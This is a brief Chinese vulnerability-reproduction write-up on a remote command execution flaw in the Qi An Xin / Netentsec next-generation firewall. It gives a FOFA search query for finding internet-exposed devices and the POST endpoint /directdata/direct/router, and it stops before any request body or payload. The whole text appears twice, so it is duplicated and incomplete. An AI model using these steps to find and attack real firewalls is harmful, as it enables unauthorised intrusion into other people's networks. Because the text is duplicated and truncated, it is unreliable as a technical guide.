简介:
奇安信网康下一代防火墙存在远程命令执行,防火墙使用linux进行开发的,可以通过改漏洞获取服务器权限。
漏洞复现:
fofa直接搜索:
app="网康科技-下一代防火墙"
点进一个链接后是一个登录框页面
发送POST请求:
#请求路径
/directdata/direct/router
奇安信网康下一代防火墙存在远程命令执行,防火墙使用linux进行开发的,可以通过改漏洞获取服务器权限。
fofa直接搜索:
app="网康科技-下一代防火墙"
点进一个链接后是一个登录框页面
发送POST请求:
#请求路径
/directdata/direct/router